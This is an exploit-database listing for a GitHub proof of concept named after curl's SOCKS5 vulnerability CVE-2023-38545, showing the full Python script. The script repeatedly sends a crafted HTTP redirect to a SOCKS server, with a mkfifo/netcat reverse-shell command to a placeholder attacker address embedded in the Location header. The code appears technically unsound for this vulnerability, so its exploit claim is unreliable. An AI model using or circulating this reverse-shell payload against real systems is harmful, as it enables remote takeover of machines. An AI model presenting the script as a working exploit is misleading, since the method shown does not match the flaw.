Exploit database

GH-a13bff54af4496c5d2434ed71356a7fb

d0rb/cve-2023-38545

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-38545

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
d0rb/cve-2023-38545Revision 52c200ccc76e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-38545.py

Python · 693 bytes
import socket

# Set the target SOCKS server and port
socks_server = 'your_socks_server_ip'
socks_port = 1080

# Set the shell payload
shell_payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' \
               '<YOUR_IP> <YOUR_PORT> >/tmp/f'

# Craft the malicious HTTP response with the shell payload
response = (
    'HTTP/1.1 301 Moved\r\n'
    'Content-Length: 0\r\n'
    'Connection: Close\r\n'
    'Location: ' + shell_payload + '\r\n\r\n'
)

# Create a socket and connect to the SOCKS server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((socks_server, socks_port))

# Send the malicious response repeatedly
while True:
    s.sendall(response.encode())